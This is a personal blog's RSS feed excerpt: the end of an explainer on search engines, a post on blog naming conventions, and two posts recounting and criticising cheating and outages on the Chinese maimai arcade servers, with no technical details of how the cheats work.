&lt;h3&gt;5.4 Not Distinguishing &quot;Answers&quot; from &quot;Explanations&quot;&lt;/h3&gt;
&lt;p&gt;Many people, when searching, habitually search for explanations, but what is truly valuable is often &lt;strong&gt;HOW TO DO&lt;/strong&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Wrong input&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;th&gt;Solution search&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;什么是 bufferbloat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Various theoretical definitions&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bufferbloat fix fq_codel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Concrete configuration, optimisation commands and methods&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h3&gt;5.5 Believing &quot;Chinese Results Are Always Enough&quot;&lt;/h3&gt;
&lt;p&gt;In technical, academic or systems-related fields, &lt;strong&gt;search in English first&lt;/strong&gt;. Because &lt;strong&gt;authoritative sources are usually originally in English&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bad example&lt;/strong&gt;:
&lt;code&gt;游戏服务器 tick 解释&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Good example&lt;/strong&gt;:
&lt;code&gt;game server tick rate netcode&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The information chain&lt;/strong&gt; usually looks like this:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Paper/standard → English wiki / docs → foreign forums / blogs → Chinese translation/derivative works → 小红书/知乎/CSDN&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;5.6 Treating &quot;Searching&quot; as &quot;Finding Someone to Think for You&quot;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The essence of a search engine is &lt;strong&gt;not an answer machine&lt;/strong&gt;; it is an efficient &lt;strong&gt;knowledge-mapping tool&lt;/strong&gt;.
You first need to be clear about what kind of information you&apos;re looking for, and then search.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Classify first, then search&lt;/strong&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Problem type&lt;/th&gt;
&lt;th&gt;Search target&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Principles&lt;/td&gt;
&lt;td&gt;wiki / RFC / MDN / Docs&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dns recursion rfc&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Configuration&lt;/td&gt;
&lt;td&gt;Official docs / issues&lt;/td&gt;
&lt;td&gt;&lt;code&gt;openwrt mwan3 configuration&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Troubleshooting&lt;/td&gt;
&lt;td&gt;Log error codes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;systemd service failed exit code&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;Search is not &quot;handing the question over to the search engine unchanged&quot;; rather, &quot;the quality of the keywords you give determines the breadth and depth of the world you can see&quot;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;6. How Search Engines Work Internally&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;tips&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This chapter focuses on readability and the core flow; it won&apos;t grind through complex algorithmic details, but it will keep the overall structure and concepts accurate.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.1 The Overall Search Engine Architecture&lt;/h3&gt;
&lt;p&gt;A typical search engine&apos;s internal architecture can be abstracted into the following five core modules:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph TD
    A[User Query] --&amp;gt; B(Query Processing)
    B --&amp;gt; C(Index + Ranking System)
    C --&amp;gt; D(Document Storage + Cache)
    D --&amp;gt; E(SERP Rendering)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.2 The Crawler System&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Crawlers proactively &lt;strong&gt;discover and download web page content&lt;/strong&gt; across the internet.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Core mechanisms&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Traversing links&lt;/strong&gt;: continuously discovering new URLs through links on pages.
&lt;strong&gt;Abiding by the &lt;code&gt;robots.txt&lt;/code&gt; convention&lt;/strong&gt;: respecting the crawl rules a website sets.
&lt;strong&gt;Preventing infinite crawling (&lt;code&gt;loop detection&lt;/code&gt;)&lt;/strong&gt;: avoiding endless loops or crawling redundant content.
&lt;strong&gt;Adaptive update frequency&lt;/strong&gt;: more popular, frequently updated pages are crawled at a higher frequency.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Basic flow&lt;/strong&gt;:
Initial URL list → crawl page → extract new links → add to the crawl queue → repeat this process.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Crawlers don&apos;t mindlessly grab everything; they prioritise &quot;more valuable pages&quot; according to &lt;strong&gt;weight and importance&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.3 Content Parsing and Normalization&lt;/h3&gt;
&lt;p&gt;Crawled raw pages usually cannot be used for retrieval directly; they need a series of normalisation steps:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Explanation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Remove HTML styling and scripts&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Keep only the plain text content of the page.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tokenization&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Split text into meaningful word units; Chinese and English are handled with different strategies.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Lemmatization&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reduce different word forms to their base form, e.g. &lt;code&gt;studying → study&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Stopwords&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Remove common words with no retrieval value, e.g. &lt;code&gt;的 / a / the / 是 / 了&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Inverted Index&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The search engine&apos;s core data structure, laying the foundation for fast retrieval.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;An example of an inverted index&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&quot;openwrt&quot;&lt;/code&gt; → document IDs: &lt;code&gt;[1, 3, 7, 9, ...]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;ipv6&quot;&lt;/code&gt; → document IDs: &lt;code&gt;[3, 9, 10, 14, ...]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;After normalisation, each &lt;strong&gt;keyword&lt;/strong&gt; corresponds to one or more document IDs. The smaller and more precise the keyword, the faster the search usually is.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.4 Ranking&lt;/h3&gt;
&lt;p&gt;A search engine&apos;s ranking model is the key to the quality of search results. It usually consists of scores along two dimensions:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Used for&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Static scoring&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Judging a page&apos;s &lt;strong&gt;overall intrinsic value&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;PageRank, domain weight, site reputation, etc.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dynamic scoring&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reflecting the &lt;strong&gt;real-time interaction and satisfaction&lt;/strong&gt; between users and pages&lt;/td&gt;
&lt;td&gt;Behavioural statistics such as CTR, Dwell Time and bounce rate&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;A brief recap of how PageRank works&lt;/strong&gt;:
A page&apos;s PageRank value is roughly equal to &lt;strong&gt;the sum of the PageRank values of all pages linking to it&lt;/strong&gt;, distributed evenly according to the &lt;strong&gt;number of outbound links&lt;/strong&gt; on those linking pages.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Dynamic ranking mechanisms allow search engines to continuously &lt;strong&gt;learn and evolve&lt;/strong&gt;, adjusting rankings according to real user feedback.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.5 Query Understanding&lt;/h3&gt;
&lt;p&gt;When a user enters a query, the search engine performs complex &quot;query processing&quot; internally to better understand the user&apos;s intent:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Spell correction&lt;/strong&gt;: automatically fixing typos in the user&apos;s input, e.g. &lt;code&gt;maiami → maimai&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Synonym expansion&lt;/strong&gt;: recognising and expanding synonyms, e.g. &lt;code&gt;router&lt;/code&gt; ⇆ &lt;code&gt;gateway&lt;/code&gt; ⇆ &lt;code&gt;CPE&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Intent classification&lt;/strong&gt;: determining whether the user&apos;s search intent is to find &quot;tutorials / principles / purchases / images / videos&quot; and so on.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entity recognition&lt;/strong&gt;: identifying proper nouns or entities in the query — for example, recognising that &lt;code&gt;舞萌&lt;/code&gt; is the name of a game rather than a video about &quot;dance&quot;.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;The raw query a user enters is in fact &lt;strong&gt;rewritten&lt;/strong&gt; by the search engine into a more accurate, richer internal query expression.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.6 Presenting Results After Ranking&lt;/h3&gt;
&lt;p&gt;The search engine results page (&lt;code&gt;SERP, Search Engine Results Page&lt;/code&gt;) is not a pure list of links; it &lt;strong&gt;generates a layout dynamically according to user intent&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Technical questions&lt;/strong&gt;: results from authoritative sites such as official documentation and Stack Overflow are usually shown first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encyclopedic queries&lt;/strong&gt;: knowledge-aggregation platforms such as Wikipedia and Baidu Baike tend to be shown first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Purchase intent&lt;/strong&gt;: product cards and price comparisons are integrated, leading to e-commerce platforms (such as JD and Taobao).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Location-related queries&lt;/strong&gt;: maps and business information are shown first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Images/music/video&lt;/strong&gt;: presented in a media grid view.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;A search engine is not simply &quot;guessing your intent&quot;; it is performing precise &lt;strong&gt;intent classification and routing&lt;/strong&gt;, directing the query to the most appropriate presentation template.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.7 The User Feedback Loop &lt;code&gt;Feedback Loop&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;A modern search engine is a &quot;living system&quot; that continuously records and learns from user behaviour data, forming a &lt;strong&gt;feedback loop&lt;/strong&gt; that keeps improving ranking results:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;th&gt;Effect on ranking&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CTR&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Whether the user clicked this search result&lt;/td&gt;
&lt;td&gt;High click-through rate → ranking weight ↑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dwell Time&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;How long the user stayed on the clicked page&lt;/td&gt;
&lt;td&gt;Long dwell time → indicates valuable content, ranking weight ↑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pogo Sticking&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The user quickly returns to the search results page after clicking&lt;/td&gt;
&lt;td&gt;Indicates dissatisfaction with the content, ranking weight ↓&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;The more often you use a search engine, the more &lt;strong&gt;personalised&lt;/strong&gt; its search results become.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;At this point we&apos;ve been through the broad logic of modern search engines. Here we&apos;ll plant a flag: in the future we may do an episode of &lt;strong&gt;hand-holding you through building a search engine&lt;/strong&gt;. &lt;em&gt;And what would that be for? Don&apos;t we already have Google/Bing?&lt;/em&gt; True — &lt;s&gt;but doing it really is a lot of fun&lt;/s&gt;.&lt;/p&gt;
&lt;p&gt;Thanks For Watching.&lt;/p&gt;
&lt;p&gt;You can reach me via &lt;a href=&quot;https://t.me/CEPATECH/&quot;&gt;Telegram&lt;/a&gt; or my personal email &lt;code&gt;qwq@chongxi.us&lt;/code&gt;. Corrections to this article are more than welcome — much appreciated.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This piece is complementary to &quot;Modern SEO in Depth: Principles, Algorithms and Practice&quot;. If you&apos;ve finished this article and are interested in SEO, you can read the follow-up, &lt;a href=&quot;/en/posts/modernSEO/&quot;&gt;&amp;gt;click to jump&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><category>开发</category><category>网络</category><author>Chongxi</author></item><item><title>Let&apos;s Standardise the Blog&apos;s Naming System</title><link>https://xice.cx/en/posts/blogRuleSet/</link><guid isPermaLink="true">https://xice.cx/en/posts/blogRuleSet/</guid><description>Blog naming and category conventions: complete definitions for tags, categories and the directory structure.</description><pubDate>Sat, 01 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As the title says, this article mainly defines the various conventions for this blog. Since I plan to run it long-term, having a mature set of conventions matters a lot.&lt;/p&gt;
&lt;h2&gt;Conventions for the &lt;code&gt;/content/posts/&lt;/code&gt; directory&lt;/h2&gt;
&lt;p&gt;The first level is the year, e.g. &lt;code&gt;./2025/&lt;/code&gt;.&lt;br /&gt;
The second level is the month, e.g. &lt;code&gt;./10/&lt;/code&gt;.&lt;br /&gt;
The third level is the day, e.g. &lt;code&gt;./26/&lt;/code&gt;.&lt;br /&gt;
The fourth level holds the Markdown file itself and the media it references, e.g.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2025/
- 10/
-- 26/
--- media/
---- example.webp
--- alpha.md
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For Markdown file names, name them with &lt;code&gt;Greek letters&lt;/code&gt;, such as &lt;code&gt;alpha&lt;/code&gt;, &lt;code&gt;beta&lt;/code&gt;..., mainly to solve the problem of multiple posts on the same day.&lt;/p&gt;
&lt;h2&gt;Tag conventions&lt;/h2&gt;
&lt;p&gt;Tags are fairly granular; generally a blog&apos;s tags contain summarising keywords for its main content.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;EXAMPLE&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Suppose this article&apos;s main content is &quot;the process of unlocking the bootloader on a Samsung phone and flashing Magisk for root&quot;&lt;br /&gt;
Then the article&apos;s tags would mainly be &lt;code&gt;samsung&lt;/code&gt;, &lt;code&gt;root&lt;/code&gt;, &lt;code&gt;刷机&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Category conventions&lt;/h2&gt;
&lt;p&gt;There are currently four main categories&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TECH&lt;/strong&gt; Technical content, e.g. flashing, infosec, project development, etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LOG&lt;/strong&gt;  Everyday content, e.g. scenery photos, literary works, etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;META&lt;/strong&gt; Content about the blog, e.g. this naming convention&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VOID&lt;/strong&gt; Miscellaneous/unclassified&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;That&apos;s the set of conventions established so far. Articles already published in the past will gradually be brought in line with the new conventions. If there are revisions later, I&apos;ll sync them in time.&lt;/p&gt;
&lt;p&gt;Hello, November.&lt;br /&gt;
NOV 1 2025&lt;/p&gt;
</content:encoded><category>博客</category><author>Chongxi</author></item><item><title>This Blog Will Stop Covering maimai Starting Today</title><link>https://xice.cx/en/posts/ripRest/</link><guid isPermaLink="true">https://xice.cx/en/posts/ripRest/</guid><description>Saying goodbye to maimai coverage and looking back on three years of arcade rhythm games</description><pubDate>Thu, 30 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Let me start with the story of me and maimai DX.&lt;/p&gt;
&lt;p&gt;Before I got into maimai DX in 2021, I mostly played &lt;code&gt;Beatmania IIDX&lt;/code&gt;; we won&apos;t go into iidx here.&lt;br /&gt;
In 2021, Chongxi was introduced to maimai DX by a friend and got dragged into the pit.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I really don&apos;t remember much of what happened back then, so I won&apos;t describe it in detail&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;My first stint with maimai DX ran from 2021 to early 2022. Back then I didn&apos;t understand maimai deeply; I was only at the level of enjoying the game.&lt;br /&gt;
In early 2022, I quit maimai DX for academic reasons.&lt;/p&gt;
&lt;p&gt;The second stint is this year. After the DX2025 update, I finally had relatively ample free time to return to maimai, and because I&apos;d changed WeChat accounts, I opened a brand-new maiNET account and started over from scratch.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;And in less than half a year, the level of chaos in the mai community became more than I could accept.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First is DX2025&apos;s loading speed, which is almost comical. It&apos;s hard to imagine having to wait four or five minutes every time you get on a machine, and it has become the norm.&lt;br /&gt;
After looking into it, part of the cause is fetching rivals plus high latency, but more of it is human factors. Why is that? So hard to guess.&lt;/p&gt;
&lt;p&gt;In late August and early September this year, more of the mai community&apos;s bullshit further completed my understanding of this mess. First came the server-wide outage plus the account-scanning and ticket-spam incident (see my other posts on this blog for details). I&apos;d actually heard about the great DX2023 outage era before, but since I never experienced it myself, I had no real sense of it. This time it filled in that gap perfectly, and it also showed me our mai&apos;s DDoS-protected servers: even a dog could come and take a shit in the server. The cost and difficulty of cheating are just that low.&lt;/p&gt;
&lt;p&gt;What made me laugh out of sheer anger the most was that during this ticket-spam incident, players got absolutely no response when they went to the official side, and it ended up as the utterly absurd business of using cheats to fight cheats. I really don&apos;t know what to say.&lt;/p&gt;
&lt;p&gt;I&apos;m also extremely grateful to all the wizards open-sourcing maimai tech on GitHub, who let me fill in, within half a month, the deeper understanding of mai I&apos;d missed during the three years I was away. &lt;strong&gt;I never expected maimai tech development in this country to have reached this level.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Because the penalty wait was truly unbearable, I had no choice but to talk to the arcade and install a tech box to speed up the network. I really have nothing left to say: there is a machine in the arcade that you cannot play normally without tech.&lt;/p&gt;
&lt;p&gt;After that came the on-and-off outages throughout October; basically the servers blew up once a week. This potato server really made me laugh.&lt;/p&gt;
&lt;p&gt;Then there&apos;s the leak incident. Circle had just been updated and FESTA leaked along with it; even part of the PV for the official KOP7 event leaked.&lt;br /&gt;
The opt for KOP7&apos;s advance songs was pushed out on the night of October 21, and by the morning of the 22nd someone was already doing chart confirmation and making the content public — more than a week ahead of the official October 30 opening. That&apos;s our SEGA&apos;s confidentiality work for you.&lt;/p&gt;
&lt;p&gt;These past few days there&apos;s been an even bigger blowup. I won&apos;t go into the specifics; it&apos;s pointless. A rotten circle meets a rotten circle, and they&apos;re both rotten through.&lt;/p&gt;
&lt;p&gt;SEGA drags out update progress and does nothing about the cheating problem on its servers. Wahlap is like an impotent husband. The player base did it too. This is our CN-server maimai: from upstream to downstream, everything is rotten through.&lt;/p&gt;
&lt;p&gt;As of the publication of this post, I have disabled the maimai features of all my bots and other related tools. Sorry for the inconvenience, and I hope you understand.&lt;br /&gt;
I really don&apos;t want to wade into this muddy water anymore; there&apos;s no point.&lt;br /&gt;
That&apos;s it.&lt;/p&gt;
&lt;p&gt;OCT. 30 2025&lt;/p&gt;
</content:encoded><category>博客</category><author>Chongxi</author></item><item><title>mai Chronicles: September&apos;s Mass Account Scanning and the Chinese Server Kaleidoscope Incident</title><link>https://xice.cx/en/posts/maiLog20250906/</link><guid isPermaLink="true">https://xice.cx/en/posts/maiLog20250906/</guid><description>On September 6, the Chinese maimai servers blew up: a full record of the account-scanning and Kaleidoscope incidents</description><pubDate>Sun, 07 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;note&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Every mention of maimai in this post refers to the &lt;code&gt;舞萌DX&lt;/code&gt; version published in mainland China by Wahlap Technology&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Background&lt;/h2&gt;
&lt;p&gt;For a while before this weekend (9/6), Wahlap&apos;s servers were thoroughly fried, and login sessions weren&apos;t being logged out in time, which got most normal players thrown into the little black room.&lt;/p&gt;
&lt;h2&gt;Saturday (9/6), morning&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Wahlap&apos;s servers were slightly abnormal: accounts couldn&apos;t be logged out properly and got stuck in the little black room.&lt;/li&gt;
&lt;li&gt;Chongxi grinded all morning with basically no issues; uploading scores and logging in were all normal.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Saturday, afternoon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;At 1 p.m., players began reporting that the server problems were getting serious, still showing up as the little black room, being unable to scan in, disconnections and so on.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;At 2:37 p.m., because the arcade Chongxi was at uses a mysterious forwarding setup, players there reported that they could only log in with QR codes from the forwarding server; QR codes from the WeChat official account no longer worked.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/3.webp&quot; alt=&quot;3.jpg&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;At 2:58 p.m., people started reporting that they had been given 5x tickets out of nowhere; by then it was clear that the cheaters had started scanning accounts.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/2.webp&quot; alt=&quot;2.jpg&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;At 3 p.m., Chongxi arrived at the arcade and found that logging in with the official maimai QR code was completely impossible — only logging in through the mysterious server&apos;s forwarding cache worked, as shown below&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Around 4:30 p.m., Wahlap presumably did emergency repairs; uploads were working again and scores could be submitted normally, but the cheaters were still scanning accounts and handing out tickets across the whole server.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;note&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Why do the cheaters hand out tickets? When your account has more than two compensation tickets, your scores are flagged as abnormal and you can&apos;t upload them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;At 8 p.m., something else came up: the Chinese server Kaleidoscope. It started when Chongxi was browsing the &quot;seafood market&quot; and accidentally came across someone selling Chinese server keys; he casually posted the screenshot in a group and asked whether it was feasible.
&lt;img src=&quot;./maiLog20250906/5.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;After some trial and error, Chongxi sent a door and a key to his own account and sent a photo of Kaleidoscope mode to a friend.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;What followed was an unexpectedly large-scale spread; within two hours it had made the rounds of most maimai groups. Some explanations below.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Chinese server Kaleidoscope&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The chat log about someone being sent a key is fake; that image is the very screenshot I casually posted asking a friend whether it was feasible.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As for whether Kaleidoscope can be enabled on the Chinese server, you all should have your answer by now. The &quot;debunking&quot; below falls apart on its own&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;My Kaleidoscope screenshot caused quite the stir, to say the least. What I can say is that it really can be sent on the Chinese server right now; how to send it I can&apos;t say. If you really don&apos;t believe me, come find me for a co-op session (what&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;I&apos;m sure you&apos;ve all seen this image by now. The main reason it spread so wildly is probably the CCBY(, which has been solemnly changed to &lt;code&gt;2025©xi All Rights Reserved&lt;/code&gt; (not&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The cheaters&apos; current behavior: handing out tickets server-wide, logging into accounts and re-suspending them in the little black room, making it impossible for players to play normally&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Sunday (9/7), morning&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;At 11 a.m., someone reported that the tech bros were handing out &lt;code&gt;1x tickets&lt;/code&gt;; it was hard not to laugh. Handing out id1 is enough to show their technical skill is lacking.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/10.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;People then began reporting that the dates on the multiplier tickets the tech bros sent were problematic, and the tech bros started stuffing multiplier tickets with sensitive dates onto players across the whole server. At that point I can&apos;t really comment on their motives&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/11.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This was no longer a matter of disrupting players&apos; play; the tech bros had escalated the situation and stacked the prize pool on top of it.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Kaleidoscope part 2&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;By now the image spreading most widely on QQ was this one. It&apos;s been doctored; it&apos;s not the official server&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/12.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The cheaters&apos; current behavior:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Handing out tickets — scores can&apos;t be uploaded normally&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Scanning accounts — normal players can&apos;t log in and are thrown into the little black room&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For now the cheaters haven&apos;t mastered advanced techniques like uploading scores.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
